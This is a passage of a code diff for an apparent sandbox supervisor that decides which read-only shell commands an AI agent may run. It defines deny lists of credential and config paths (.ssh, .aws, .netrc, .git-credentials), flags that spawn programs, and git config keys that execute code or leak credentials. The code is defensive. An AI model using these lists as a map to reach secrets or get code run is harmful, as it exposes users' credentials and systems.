+  ".envrc",
+  "agents.md",
+  "gemini.md",
+  ".cursorrules",
+  ".windsurfrules",
+  // TD-2026-10-20-294 re-check (Aegis C2): repo-level files that change what a tool RUNS or SENDS when a session (or a
+  // command it was allowed to run) points that tool at the repo — git (a planted HOME's .gitconfig: core.fsmonitor,
+  // credential helpers), curl/wget/pip/conda config, interpreter and toolchain pins that pick (or download) the binary,
+  // ruby/bun/deno/go/gradle/maven build entry points, babel/swc plugin configs, and shell rc files
+  ".gitconfig",
+  ".git-credentials",
+  ".netrc",
+  "_netrc",
+  ".curlrc",
+  ".wgetrc",
+  ".pypirc",
+  "pip.conf",
+  ".condarc",
+  ".python-version",
+  ".nvmrc",
+  ".node-version",
+  ".ruby-version",
+  "rust-toolchain",
+  "rust-toolchain.toml",
+  "go.mod",
+  "go.work",
+  "gemfile",
+  "gemfile.lock",
+  "rakefile",
+  ".irbrc",
+  ".gemrc",
+  "bunfig.toml",
+  "deno.json",
+  "deno.jsonc",
+  ".babelrc",
+  ".swcrc",
+  "build.gradle",
+  "build.gradle.kts",
+  "settings.gradle",
+  "settings.gradle.kts",
+  "gradlew",
+  "pom.xml",
+  ".bashrc",
+  ".bash_profile",
+  ".profile",
+  ".zshrc",
+  ".zshenv",
+  ".zprofile",
+  ".inputrc"
+]);
+var GATE_ENV_FILE = /^\.env(\..+)?$/;
+var GATE_TEST_CONFIG = /^(vitest|vite|jest|playwright|cypress|karma|mocha|ava|wdio|nightwatch)\.(config|workspace)(\.[a-z0-9]+)+$|^\.mocharc(\.[a-z0-9]+)*$|^babel\.config(\.[a-z0-9]+)+$/;
+var GATE_CODE_CONFIG = /^(eslint\.config\..+|\.eslintrc.*|prettier\.config\..+|\.prettierrc.*|\.lintstagedrc.*|lint-staged\.config\..+|\.lefthook.*)$/;
+var GATE_MEMORY_NAME = /^claude[^/\\]*\.md$/;
+var NON_ASCII = /[^\x00-\x7f]/;
+function gateClassPathRule(relPath) {
+  const raw = relPath.split(/[\\/]+/).filter((s) => s !== "" && s !== ".");
+  if (raw.some((s) => NON_ASCII.test(s))) return "non-ascii";
+  if (raw.some((s) => s.includes(":") || /~\d/.test(s))) return "win-alias";
+  const segs = raw.map((s) => s.replace(/[. ]+$/, "").toLowerCase()).map((s, i) => s === "" ? raw[i] : s);
+  if (segs.length === 0 || segs.includes("..")) return "outside-root";
+  for (const s of segs.slice(0, -1)) if (GATE_DIRS.has(s)) return `dir:${s}`;
+  const base = segs[segs.length - 1];
+  if (GATE_DIRS.has(base)) return `dir:${base}`;
+  if (GATE_MEMORY_NAME.test(base)) return "memory-file";
+  if (GATE_FILES.has(base)) return `file:${base}`;
+  if (GATE_ENV_FILE.test(base)) return "env-file";
+  if (GATE_TEST_CONFIG.test(base)) return "test-config";
+  if (GATE_CODE_CONFIG.test(base)) return "code-config";
+  return null;
+}
+function isClosureName(name) {
+  if (/^[tj]sconfig([.-][^/\\]*)?\.json$/i.test(name)) return true;
+  const rule = gateClassPathRule(name);
+  if (rule === null) return false;
+  return rule.startsWith("file:") || rule === "test-config" || rule === "code-config" || rule === "env-file";
+}
+function isConfigNamedEnvFile(name) {
+  return isClosureName(name) && gateClassPathRule(name) !== "env-file";
+}
+
+// src/kernel/supervisor/shell-readonly.ts
+import * as fs from "node:fs";
+import * as path from "node:path";
+var MAX_LEN = 64 * 1024;
+var Refuse = class extends Error {
+};
+var no = (why) => {
+  throw new Refuse(why);
+};
+var PROTECTED_HOME_PATHS = Object.freeze([".ssh", ".aws", ".config/gh", ".config/gcloud", ".azure", ".kube", ".docker", ".gnupg", ".netrc", ".npmrc", ".git-credentials", ".pypirc", "Library/Keychains", ".gnomon"]);
+var PROTECTED_ABS_PATHS = Object.freeze(["/Library/Keychains"]);
+var SYSTEM_READ_ROOTS = Object.freeze(["/usr", "/opt/homebrew", "/etc", "/tmp", "/private/tmp", "/private/etc"]);
+var realOr = (p) => {
+  try {
+    return fs.realpathSync.native(p);
+  } catch {
+    return null;
+  }
+};
+function realDeep(p, env) {
+  if (!env.native) return null;
+  const { pp } = env;
+  let cur = p;
+  const rest = [];
+  for (let i = 0; i < 4096; i++) {
+    const r = realOr(cur);
+    if (r !== null) {
+      return rest.length ? pp.join(r, ...rest.reverse()) : r;
+    }
+    const parent = pp.dirname(cur);
+    if (parent === cur) return null;
+    rest.push(pp.basename(cur));
+    cur = parent;
+  }
+  return null;
+}
+function rootForms(env) {
+  const out = [];
+  for (const r of env.ctx.roots) {
+    out.push(env.pp.resolve(r));
+    const real = realDeep(r, env);
+    if (real !== null) out.push(real);
+  }
+  return out;
+}
+function within(p, root, pp, orEqual) {
+  if (p === root) return orEqual;
+  const r = root.endsWith(pp.sep) ? root : root + pp.sep;
+  return p.startsWith(r);
+}
+function checkPath(t, env) {
+  const { pp, fold } = env;
+  if (t === "" || t === "-") return;
+  if (pp === path.win32 && /^[\\/]{2}/.test(t)) no("device path");
+  let raw;
+  if (pp.isAbsolute(t)) raw = t;
+  else if (env.cwd === null) return no("a relative path with an unknown cwd");
+  else raw = env.cwd.endsWith(pp.sep) ? env.cwd + t : env.cwd + pp.sep + t;
+  const real = realDeep(raw, env);
+  for (const f of [pp.resolve(raw), ...real !== null ? [real] : []]) {
+    const ff = fold(f);
+    if (pp === path.posix && (within(ff, "/dev", pp, true) || within(ff, "/proc", pp, true))) no("device path");
+    for (const p of env.prot) {
+      const fp = fold(p);
+      if (within(ff, fp, pp, true) || within(fp, ff, pp, false)) no("protected path");
+    }
+    if (!env.allow.some((a) => within(ff, fold(a), pp, true))) no("outside the readable roots");
+  }
+}
+var needCwd = (env, name) => {
+  if (env.cwd === null) no(`${name}: the cwd is unknown`);
+};
+var isFlag = (a) => a.lit !== null && a.lit.startsWith("-") && a.lit !== "-";
+function pathArgs(args, env, name) {
+  for (const a of args) {
+    if (a.proc) continue;
+    if (a.lit === null) no(`${name}: a substitution in a path argument`);
+    if (isFlag(a)) {
+      const s = a.lit;
+      const eq = s.indexOf("=");
+      if (eq > 0) checkPath(s.slice(eq + 1), env);
+      else {
+        const slash = s.search(/[\\/]/);
+        if (slash > 0) checkPath(s.slice(slash), env);
+      }
+      continue;
+    }
+    checkPath(a.lit, env);
+  }
+}
+var staticOnly = (args, name) => {
+  if (args.some((a) => a.lit === null)) no(`${name}: dynamic argument`);
+};
+function reader(denyShort = "", denyLong = [], implicitCwd = false, fileShort = "") {
+  return (args, env, name) => {
+    for (const a of args) {
+      if (!isFlag(a) || a.lit === "--") continue;
+      const s = a.lit;
+      if (s.startsWith("--")) {
+        const k = s.split("=")[0];
+        if (denyLong.some((d) => d.startsWith(k))) no(`${name}: flag ${k}`);
+        continue;
+      }
+      for (const ch of s.slice(1)) {
+        if (fileShort.includes(ch)) break;
+        if (denyShort.includes(ch)) no(`${name}: flag -${ch}`);
+      }
+    }
+    attachedFiles(args, fileShort, env);
+    if (implicitCwd && !args.some((a) => !isFlag(a))) checkPath(".", env);
+    pathArgs(args, env, name);
+  };
+}
+function attachedFiles(args, letters, env) {
+  if (letters === "") return;
+  for (const a of args) {
+    if (!isFlag(a) || a.lit.startsWith("--")) continue;
+    const s = a.lit;
+    const i = [...letters].map((l) => s.indexOf(l, 1)).filter((x) => x > 0).sort((x, y) => x - y)[0];
+    if (i !== void 0 && i < s.length - 1) checkPath(s.slice(i + 1), env);
+  }
+}
+function flags(args, name, o) {
+  const operands = [];
+  let endOpts = false;
+  for (let i = 0; i < args.length; i++) {
+    const a = args[i];
+    const s = a.lit;
+    if (endOpts || !isFlag(a)) {
+      operands.push(a);
+      continue;
+    }
+    if (s === "--") {
+      endOpts = true;
+      continue;
+    }
+    if (s.startsWith("--")) {
+      const [k, v] = s.includes("=") ? [s.slice(0, s.indexOf("=")), true] : [s, false];
+      if (o.long?.includes(k) && !v) continue;
+      if (o.longValue?.includes(k)) {
+        if (!v) i++;
+        continue;
+      }
+      no(`${name}: flag ${k}`);
+    }
+    for (let j = 1; j < s.length; j++) {
+      const ch = s[j];
+      if (o.shortValue?.includes(ch)) {
+        if (j === s.length - 1) i++;
+        break;
+      }
+      if (!o.short.includes(ch)) no(`${name}: flag -${ch}`);
+    }
+  }
+  return operands;
+}
+var ECHO_FLAGS = /* @__PURE__ */ new Set(["-n", "-e", "-E", "-ne", "-en", "-nE", "-En"]);
+var echoRule = (args) => {
+  for (const a of args) if (a.lit !== null && /^-[A-Za-z]+$/.test(a.lit) && !ECHO_FLAGS.has(a.lit)) no(`echo: flag ${a.lit}`);
+};
+var printfRule = (args) => {
+  const f = args[0];
+  if (!f) no("printf: a format");
+  if (f.lit === null) no("printf: the format is not literal");
+  if (f.lit.startsWith("-")) no("printf: a flag");
+};
+var textRule = (o, maxOperands = Infinity) => (args, _env, name) => {
+  staticOnly(args, name);
+  if (flags(args, name, o).length > maxOperands) no(`${name}: an operand`);
+};
+var TEST_FILE_UNARY = /* @__PURE__ */ new Set(["-e", "-f", "-d", "-s", "-r", "-w", "-x", "-L", "-h", "-b", "-c", "-p", "-S", "-O", "-G", "-N", "-k", "-u", "-g"]);
+var TEST_FILE_BINARY = /* @__PURE__ */ new Set(["-nt", "-ot", "-ef"]);
+var TEST_OTHER = /* @__PURE__ */ new Set(["-z", "-n", "-t", "-eq", "-ne", "-lt", "-le", "-gt", "-ge", "-a", "-o"]);
+var testRule = (args, env, name) => {
+  staticOnly(args, name);
+  let ops = args.map((a) => a.lit);
+  if (name === "[") {
+    if (ops.at(-1) !== "]") no("[: a closing ]");
+    ops = ops.slice(0, -1);
+  }
+  for (let i = 0; i < ops.length; i++) {
+    const s = ops[i];
+    const unaryA = s === "-a" && (i === 0 || ["!", "(", "-a", "-o"].includes(ops[i - 1]));
+    if (TEST_FILE_UNARY.has(s) || unaryA) {
+      if (ops[i + 1] !== void 0) checkPath(ops[++i], env);
+    } else if (TEST_FILE_BINARY.has(s)) {
+      if (ops[i - 1] !== void 0) checkPath(ops[i - 1], env);
+      if (ops[i + 1] !== void 0) checkPath(ops[++i], env);
+    } else if (/^-./.test(s) && !TEST_OTHER.has(s)) no(`${name}: flag ${s}`);
+  }
+};
+var sortRule = (args, env, name) => {
+  staticOnly(args, name);
+  flags(args, name, { short: "bdfghiMnrRsuVzc", shortValue: "kt", long: ["--reverse", "--numeric-sort", "--unique", "--human-numeric-sort", "--version-sort", "--ignore-case", "--stable", "--general-numeric-sort", "--month-sort", "--dictionary-order", "--ignore-leading-blanks", "--check", "--zero-terminated"], longValue: ["--key", "--field-separator"] });
+  pathArgs(args, env, name);
+};
+var uniqRule = (args, env, name) => {
+  staticOnly(args, name);
+  const ops = flags(args, name, { short: "cdDuiz", shortValue: "fsw", long: ["--count", "--repeated", "--unique", "--ignore-case"], longValue: ["--skip-fields", "--skip-chars", "--check-chars"] });
+  if (ops.length > 1) no("uniq: a second operand is an output file");
+  pathArgs(args, env, name);
+};
+var fileRule = (args, env, name) => {
+  staticOnly(args, name);
+  attachedFiles(args, "m", env);
+  flags(args, name, { short: "bihLNkzZ0p", shortValue: "mFe", long: ["--brief", "--mime", "--mime-type", "--mime-encoding", "--dereference", "--no-dereference", "--keep-going"] });
+  pathArgs(args, env, name);
+};
+var dateRule = (args, _env, name) => {
+  staticOnly(args, name);
+  const ops = flags(args, name, { short: "uRjI", shortValue: "v", long: ["--utc", "--universal", "--rfc-email", "--iso-8601", "--rfc-3339"] });
+  if (ops.some((a) => !a.lit.startsWith("+"))) no("date: an operand sets the clock");
+};
+var jqRule = (args, env, name) => {
+  staticOnly(args, name);
+  let filter = null;
+  const rest = [];
+  for (let i = 0; i < args.length; i++) {
+    const a = args[i];
+    const s = a.lit;
+    if (isFlag(a)) {
+      if (["-f", "--from-file", "-L"].includes(s) || /^-L|^--from-file=/.test(s)) no(`jq: ${s}`);
+      if (s === "--arg" || s === "--argjson") {
+        i += 2;
+        continue;
+      }
+      if (s === "--rawfile" || s === "--slurpfile") {
+        const f = args[i + 2];
+        if (f) rest.push(f);
+        i += 2;
+        continue;
+      }
+      if (s === "--indent") {
+        i++;
+        continue;
+      }
+      if (!/^(-[rcnsejSaCMR]+|--(raw-output|compact-output|null-input|slurp|exit-status|join-output|sort-keys|ascii-output|color-output|monochrome-output|raw-input|tab|seq|stream|raw-output0))$/.test(s)) no(`jq: flag ${s}`);
+      continue;
+    }
+    if (filter === null) filter = a;
+    else rest.push(a);
+  }
+  if (filter && /env|ENV|import|include|input_filename|\$__loc__/.test(filter.lit)) no("jq: env or module access in the filter");
+  pathArgs(rest, env, name);
+};
+var FIND_PRED = /* @__PURE__ */ new Set(["-name", "-iname", "-path", "-ipath", "-wholename", "-iwholename", "-regex", "-iregex", "-type", "-xtype", "-maxdepth", "-mindepth", "-newer", "-mtime", "-mmin", "-atime", "-amin", "-ctime", "-cmin", "-size", "-perm", "-user", "-group", "-links", "-uid", "-gid", "-inum", "-samefile", "-lname", "-ilname"]);
+var FIND_FLAG = /* @__PURE__ */ new Set(["-print", "-print0", "-prune", "-o", "-or", "-a", "-and", "-not", "!", "(", ")", ",", "-empty", "-depth", "-d", "-xdev", "-mount", "-true", "-false", "-ls", "-readable", "-writable", "-executable", "-nouser", "-nogroup", "-quit", "-printf", "-H", "-P", "-E", "-X", "-s", "-x", "-noleaf", "-regextype"]);
+var findRule = (args, env, name) => {
+  staticOnly(args, name);
+  let i = 0;
+  while (i < args.length && ["-H", "-P", "-E", "-X", "-s", "-x", "-d"].includes(args[i].lit)) i++;
+  const roots = [];
+  while (i < args.length && !args[i].lit.startsWith("-") && !["!", "(", ")"].includes(args[i].lit)) roots.push(args[i++]);
+  for (; i < args.length; i++) {
+    const s = args[i].lit;
+    if (FIND_PRED.has(s) || s === "-printf" || s === "-regextype") {
+      i++;
+      if (s === "-newer" || s === "-samefile") roots.push(args[i] ?? no("find: a value"));
+      continue;
+    }
+    if (FIND_FLAG.has(s)) continue;
+    no(`find: ${s}`);
+  }
+  if (roots.length === 0) checkPath(".", env);
+  pathArgs(roots, env, name);
+};
+var AWK_ITEM = String.raw`(?:\$(?:\d+|NF)|NF|NR|"[^"\\]*")`;
+var AWK_PROG = new RegExp(String.raw`^\s*(?:(?:NR|NF|\$\d+)\s*(?:==|!=|<=|>=|<|>)\s*(?:\d+|"[^"\\]*")\s*|\/[^/\\\n]*\/\s*|END\s*)?\{\s*print(?:\s+${AWK_ITEM}(?:\s*,?\s*${AWK_ITEM})*)?\s*;?\s*\}\s*$`);
+var awkRule = (args, env, name) => {
+  staticOnly(args, name);
+  let i = 0;
+  for (; i < args.length && isFlag(args[i]); i++) {
+    const s = args[i].lit;
+    if (s === "--") {
+      i++;
+      break;
+    }
+    if (s === "-F") i++;
+    else if (!/^-F./.test(s)) no(`awk: flag ${s}`);
+  }
+  const prog = args[i];
+  if (!prog) no("awk: a program");
+  if (!AWK_PROG.test(prog.lit)) no("awk: only a print program");
+  pathArgs(args.slice(i + 1), env, name);
+};
+var SED_SCRIPT = /^\s*(?:(?:\d+|\$)(?:\s*,\s*(?:\d+|\$))?|\/[^/\\\n]*\/)\s*p\s*$/;
+var sedRule = (args, env, name) => {
+  staticOnly(args, name);
+  let script = false;
+  const ops = [];
+  for (let i = 0; i < args.length; i++) {
+    const s = args[i].lit;
+    if (s === "-e") {
+      const v = args[++i];
+      if (!v || !SED_SCRIPT.test(v.lit)) no("sed: script");
+      script = true;
+    } else if (/^-[nEr]+$/.test(s)) continue;
+    else if (isFlag(args[i])) no(`sed: flag ${s}`);
+    else if (!script) {
+      if (!SED_SCRIPT.test(s)) no("sed: script");
+      script = true;
+    } else ops.push(args[i]);
+  }
+  if (!script) no("sed: script");
+  pathArgs(ops, env, name);
+};
+var GIT_READ = /* @__PURE__ */ new Set(["status", "log", "diff", "show", "blame", "rev-parse", "ls-files", "describe"]);
+var GIT_READ_MORE = /* @__PURE__ */ new Set(["show-ref", "ls-tree", "rev-list", "shortlog", "merge-base", "for-each-ref"]);
+var GIT_BAD_LONG = ["output", "output-directory", "ext-diff", "textconv", "open-files-in-pager", "exec", "exec-path", "upload-pack", "receive-pack", "paginate", "git-dir", "work-tree", "config-env", "namespace", "filters"];
+function gitOptBad(s) {
+  if (s.startsWith("--")) {
+    const name = s.slice(2).split("=")[0];
+    if (!name) return false;
+    return GIT_BAD_LONG.some((bad) => bad.startsWith(name));
+  }
+  return /^-[^-]/.test(s) && s.slice(1).includes("O");
+}
+var GIT_BAD = { test: gitOptBad };
+var GIT_SECRET_KEY = /^(remote|credential|http|https|url|sendemail)\.|url|token|password|passwd|secret|auth|header|cookie|proxy|key/i;
+var gitRule = (args, env, name) => {
+  staticOnly(args, name);
+  needCwd(env, name);
+  if (!rootForms(env).some((r) => env.fold(r) === env.fold(env.cwd))) no("git: only with the cwd at a session root");
+  if (env.native) {
+    const bad = repoGitExecKey(env.cwd, env.ctx.home);
+    if (bad !== null) no(`git: the repo config names a program (${bad})`);
+  }
+  const sub = args[0]?.lit;
+  if (!sub || sub.startsWith("-")) no("git: a global option");
+  const rest = args.slice(1);
+  for (const a of rest) if (GIT_BAD.test(a.lit)) no(`git: ${a.lit.split("=")[0]}`);
+  if (GIT_READ.has(sub)) return pathArgs(rest, env, name);
+  if (sub === "branch") {
+    const names = rest.filter((a) => !isFlag(a));
+    for (const a of rest) {
+      const s = a.lit;
+      if (isFlag(a) && !/^(-[avr]+|-vv|--list|--all|--remotes|--verbose|--show-current|--merged|--no-merged|--contains|--no-contains|--sort=.*|--format=.*|--color|--no-color|--column|--no-column)$/.test(s)) no(`git branch: ${s}`);
+    }
+    if (names.length && !rest.some((a) => a.lit === "--list")) no("git branch: a name (only with --list)");
+    return;
+  }
+  if (GIT_READ_MORE.has(sub)) return pathArgs(rest, env, name);
+  const flagsOnly = (re, what) => {
+    for (const a of rest.slice(1)) if (!re.test(a.lit)) no(`git ${what}: ${a.lit}`);
+  };
+  if (sub === "worktree") {
+    if (rest[0]?.lit !== "list") no("git worktree: only list");
+    return flagsOnly(/^(--porcelain|-v|--verbose|-z)$/, "worktree list");
+  }
+  if (sub === "stash") {
+    if (rest[0]?.lit !== "list") no("git stash: only list");
+    return flagsOnly(/^-/, "stash list");
+  }
+  if (sub === "reflog") {
+    if (rest[0]?.lit !== "show") no("git reflog: only show");
+    return pathArgs(rest.slice(1), env, name);
+  }
+  if (sub === "cat-file") {
+    if (rest.length === 2 && ["-t", "-s", "-p"].includes(rest[0].lit) && !rest[1].lit.startsWith("-")) return pathArgs(rest.slice(1), env, name);
+    no("git cat-file: only -t, -s or -p OBJECT");
+  }
+  if (sub === "tag") {
+    if (!rest.some((a) => a.lit === "-l" || a.lit === "--list")) no("git tag: only -l/--list");
+    for (const a of rest) {
+      if (isFlag(a) && !/^(-l|-i|-n\d*|--list|--ignore-case|--sort=.*|--format=.*|--contains|--no-contains|--merged|--no-merged|--points-at|--column|--no-column|--color|--color=.*|--no-color)$/.test(a.lit)) no(`git tag: ${a.lit}`);
+    }
+    return pathArgs(rest, env, name);
+  }
+  if (sub === "remote") {
+    if (rest.length === 0) return;
+    const verbose = rest.length === 1 && (rest[0].lit === "-v" || rest[0].lit === "--verbose");
+    const getUrl = rest.length === 2 && rest[0].lit === "get-url" && /^[A-Za-z0-9._-]+$/.test(rest[1].lit) && !rest[1].lit.startsWith("-");
+    if (!(verbose || getUrl) || env.ctx.cwd === void 0 || env.pp !== path.posix) no("git remote: only bare, or -v / get-url NAME in an anchored run");
+    if (!env.native) no("git remote: a foreign path flavour");
+    const risk = gitRemoteUrlRisk(env.cwd, env.ctx.home);
+    if (risk !== null) no(`git remote: a URL may hold a credential (${risk})`);
+    return;
+  }
+  if (sub === "config") {
+    if (rest.length === 2 && ["--get", "--get-all"].includes(rest[0].lit) && !rest[1].lit.startsWith("-") && !GIT_SECRET_KEY.test(rest[1].lit)) return;
+    no("git config: only --get/--get-all KEY, never a key that may hold a credential");
+  }
+  no(`git: subcommand ${sub}`);
+};
+function execKey(section, sub, key, value) {
+  switch (section) {
+    case "core":
+      if (key === "fsmonitor") return !/^(false|no|off|0|)$/i.test(value.trim());
+      return ["pager", "sshcommand", "hookspath", "alternaterefscommand", "askpass", "gitproxy"].includes(key);
+    case "diff":
+      return sub === null ? key === "external" : key === "textconv" || key === "command";
+    case "filter":
+    case "pager":
+      return true;
+    case "remote":
+      return key === "uploadpack" || key === "receivepack";
+    case "gpg":
+      return key === "program";
+    case "uploadpack":
+      return key === "packobjectshook";
+    case "credential":
+      return key === "helper";
+    default:
+      return false;
+  }
+}
+function configValue(v) {
+  let out = "";
+  let q = false;
+  for (let i = 0; i < v.length; i++) {
+    const c = v[i];
+    if (c === '"') q = !q;
+    else if (c === "\\" && i + 1 < v.length) out += v[++i];
+    else if (!q && (c === "#" || c === ";")) break;
+    else out += c;
+  }
+  return out.trim();
+}
+function scanGitConfig(file, home, depth, seen, hit = execKey) {
+  if (depth > 10) return "include depth";
+  let text;
+  try {
+    text = fs.readFileSync(file, "utf8");
+  } catch (e) {
+    const code = e.code;
+    return code === "ENOENT" || code === "ENOTDIR" ? null : `unreadable ${path.basename(file)}`;
+  }
+  const real = realOr(file) ?? file;
+  if (seen.has(real)) return null;
+  seen.add(real);
+  const lines = text.replace(/\\\r?\n/g, "").split(/\r?\n/);
+  let section = "";
+  let sub = null;
+  for (let raw of lines) {
+    let l = raw.trim();
+    if (l === "" || l.startsWith("#") || l.startsWith(";")) continue;
+    if (l.startsWith("[")) {
+      const m = /^\[\s*([A-Za-z0-9.-]+)(?:\s+"((?:[^"\\]|\\.)*)")?\s*\]/.exec(l);
+      if (!m) return "unparsed config section";
+      const name = m[1].toLowerCase();
+      const dot = name.indexOf(".");
+      section = dot < 0 ? name : name.slice(0, dot);
+      sub = m[2] !== void 0 ? m[2] : dot < 0 ? null : name.slice(dot + 1);
+      raw = l.slice(m[0].length);
+      l = raw.trim();
+      if (l === "" || l.startsWith("#") || l.startsWith(";")) continue;
+    }
+    const k = /^([A-Za-z][A-Za-z0-9-]*)\s*(?:=(.*))?$/.exec(l);
+    if (!k) return "unparsed config line";
+    const key = k[1].toLowerCase();
+    const value = configValue(k[2] ?? "");
+    if (hit(section, sub, key, value)) return `${section}${sub !== null ? `.${sub}` : ""}.${key}`;
+    if ((section === "include" || section === "includeif") && key === "path" && value !== "") {
+      const inc = value.startsWith("~/") ? path.join(home, value.slice(2)) : path.isAbsolute(value) ? value : path.join(path.dirname(file), value);
+      const r = scanGitConfig(inc, home, depth + 1, seen, hit);
+      if (r !== null) return r;
+    }
+  }
+  return null;
+}
+function repoGitExecKey(cwd, home, hit = execKey) {
+  let dir = cwd;
+  for (let i = 0; i < 4096; i++) {
+    const dotgit = path.join(dir, ".git");
+    let st = null;
+    try {
+      st = fs.statSync(dotgit);
+    } catch {
+      st = null;
+    }
+    if (st) {
+      let gitdir = dotgit;
+      if (st.isFile()) {
+        const m = /^gitdir:\s*(.+?)\s*$/m.exec(fs.readFileSync(dotgit, "utf8"));
+        if (!m) return "unparsed .git file";
+        gitdir = path.resolve(dir, m[1]);
+      }
+      const files = [path.join(gitdir, "config"), path.join(gitdir, "config.worktree")];
+      try {
+        const common = fs.readFileSync(path.join(gitdir, "commondir"), "utf8").trim();
+        if (common) files.push(path.join(path.resolve(gitdir, common), "config"));
+      } catch {
+      }
+      const seen = /* @__PURE__ */ new Set();
+      for (const f of files) {
+        const r = scanGitConfig(f, home, 0, seen, hit);
+        if (r !== null) return r;
+      }
+      return null;
+    }
+    const parent = path.dirname(dir);
+    if (parent === dir) return null;
+    dir = parent;
+  }
+  return null;
+}
+var credUrlHit = (_section, _sub, key, value) => key === "insteadof" || key === "pushinsteadof" || /:\/\/[^/\s]*@/.test(value);
+function gitRemoteUrlRisk(cwd, home, env = process.env) {
+  const r = repoGitExecKey(cwd, home, credUrlHit);
+  if (r !== null) return r;
+  const xdg = env.XDG_CONFIG_HOME ? env.XDG_CONFIG_HOME : path.join(home, ".config");
+  const files = [
+    ...env.GIT_CONFIG_GLOBAL ? [env.GIT_CONFIG_GLOBAL] : [],
+    path.join(home, ".gitconfig"),
+    path.join(xdg, "git", "config"),
+    path.join(home, ".config", "git", "config"),
+    ...env.GIT_CONFIG_SYSTEM ? [env.GIT_CONFIG_SYSTEM] : [],
+    "/etc/gitconfig",
+    "/opt/homebrew/etc/gitconfig",
+    "/usr/local/etc/gitconfig"
+  ];
+  const seen = /* @__PURE__ */ new Set();
+  for (const f of files) {
+    const hit = scanGitConfig(f, home, 0, seen, credUrlHit);
+    if (hit !== null) return hit;
+  }
+  return null;
+}
+var diffReader = reader("r", ["--recursive"], false, "X");
+var diffRule = (args, env, name) => {
+  diffReader(args, env, name);
+  for (const a of args) {
+    if (a.proc || a.lit === null || isFlag(a) || !env.native) continue;
+    const t = env.pp.isAbsolute(a.lit) ? a.lit : env.pp.join(env.cwd ?? "", a.lit);
+    let dir = false;
+    try {
+      dir = fs.statSync(t).isDirectory();
+    } catch {
+    }
+    if (dir) no("diff: a directory operand");
+  }
+};
+function anchoredOnly(env, what) {
+  if (env.ctx.cwd === void 0 || env.pp !== path.posix) no(`${what}: only in an anchored run`);
+}
+function walksCwd(env, name) {
+  needCwd(env, name);
+  checkPath(".", env);
+}
+var GREP_DENY_SHORT = "RSOdD";
+var GREP_DENY_LONG = ["--dereference-recursive", "--directories", "--devices"];
+function grepRecursive(a) {
+  if (!isFlag(a) || a.lit === "--") return false;
+  const s = a.lit;
+  if (s.startsWith("--")) {
+    const k = s.split("=")[0];
+    return k.length > 2 && "--recursive".startsWith(k);
+  }
+  return s.slice(1).includes("r");
+}
+function grepRule() {
+  const base = reader(GREP_DENY_SHORT, GREP_DENY_LONG, false, "f");
+  return (args, env, name) => {
+    base(args, env, name);
+    if (args.some(grepRecursive)) {
+      anchoredOnly(env, `${name} -r`);
+      walksCwd(env, name);
+    }
+  };
+}
+var rgReader = reader("Lz", ["--follow", "--pre", "--pre-glob", "--search-zip", "--hostname-bin"], false, "f");
+var rgRule = (args, env, name) => {
+  anchoredOnly(env, name);
+  rgReader(args, env, name);
+  walksCwd(env, name);
+};
+var fdReader = reader("xXlL", ["--exec", "--exec-batch", "--list-details", "--follow"]);
+var FD_VALUE_SHORT = "dEetcjSo";
+var FD_VALUE_LONG = ["--max-depth", "--min-depth", "--exact-depth", "--exclude", "--extension", "--type", "--color", "--threads", "--size", "--changed-within", "--changed-before", "--owner", "--max-results", "--path-separator", "--format", "--batch-size"];
+var FD_PATH_LONG = ["--base-directory", "--search-path", "--ignore-file"];
+var fdRule = (args, env, name) => {
+  anchoredOnly(env, name);
+  staticOnly(args, name);
+  const checked = [];
+  let pattern = false;
+  let endOpts = false;
+  for (let i = 0; i < args.length; i++) {
+    const a = args[i];
+    const s = a.lit;
+    if (!endOpts && s === "--") {
+      endOpts = true;
+      continue;
+    }
+    if (!endOpts && isFlag(a)) {
+      checked.push(a);
+      if (s.startsWith("--")) {
+        if (!s.includes("=") && (FD_VALUE_LONG.includes(s) || FD_PATH_LONG.includes(s)) && args[i + 1] !== void 0) {
+          i++;
+          if (FD_PATH_LONG.includes(s)) checked.push(args[i]);
+        }
+      } else {
+        const j = [...s.slice(1)].findIndex((ch) => FD_VALUE_SHORT.includes(ch));
+        if (j === s.length - 2 && args[i + 1] !== void 0) i++;
+      }
+      continue;
+    }
+    if (!pattern) {
+      pattern = true;
+      continue;
+    }
+    checked.push(endOpts && isFlag(a) ? { ...a, lit: `./${s}` } : a);
+  }
+  fdReader(checked, env, name);
+  walksCwd(env, name);
+};
+var treeReader = reader("olR", ["--fromfile", "--fromtabfile", "--output"], true);
+var treeRule = (args, env, name) => {
+  anchoredOnly(env, name);
+  staticOnly(args, name);
+  const checked = [];
+  for (let i = 0; i < args.length; i++) {
+    const a = args[i];
+    checked.push(a);
+    if (!isFlag(a) || a.lit.startsWith("--")) continue;
+    for (const ch of a.lit.slice(1)) {
+      if (!"PILHT".includes(ch) || args[i + 1] === void 0) continue;
+      i++;
+      if (!"PI".includes(ch)) checked.push(args[i]);
+    }
+  }
+  treeReader(checked, env, name);
+  walksCwd(env, name);
+};
+var MIN_PARADIGM_VERSION = Object.freeze([7, 15, 2]);
+var paradigmPkgCache = /* @__PURE__ */ new Map();
+function versionAtLeast(v, min) {
+  const m = /^(\d+)\.(\d+)\.(\d+)(-[0-9A-Za-z.-]+)?(\+[0-9A-Za-z.-]+)?$/.exec(v);
+  if (!m) return false;
+  const got = [Number(m[1]), Number(m[2]), Number(m[3])];
+  for (let i = 0; i < 3; i++) {
+    if (got[i] > min[i]) return true;
+    if (got[i] < min[i]) return false;
+  }
+  return m[4] === void 0;
+}
+function paradigmOnPath(searchPath) {
+  if (searchPath === void 0) return "paradigm: the session PATH is unknown";
+  let bin = null;
+  for (const dir2 of searchPath.split(":")) {
+    if (dir2 === "" || !path.posix.isAbsolute(dir2)) return "paradigm: a relative or empty PATH entry";
+    const cand = path.posix.join(dir2, "paradigm");
+    let st;
+    try {
+      st = fs.statSync(cand);
+    } catch {
+      continue;
+    }
+    if (st.isFile() && (st.mode & 73) !== 0) {
+      bin = cand;
+      break;
+    }
+  }
+  if (bin === null) return "paradigm: not found on the session PATH";
+  const real = realOr(bin);
+  if (real === null) return "paradigm: its binary cannot be resolved";
+  let dir = path.posix.dirname(real);
+  for (let i = 0; i < 4; i++, dir = path.posix.dirname(dir)) {
+    const pkg = path.posix.join(dir, "package.json");
+    let st;
+    try {
+      st = fs.statSync(pkg);
+    } catch {
+      continue;
+    }
+    if (!st.isFile() || st.size > 1e6) return "paradigm: an unreadable package.json";
+    let info = paradigmPkgCache.get(pkg);
+    if (info === void 0 || info.mtimeMs !== st.mtimeMs) {
+      try {
+        const j = JSON.parse(fs.readFileSync(pkg, "utf8"));
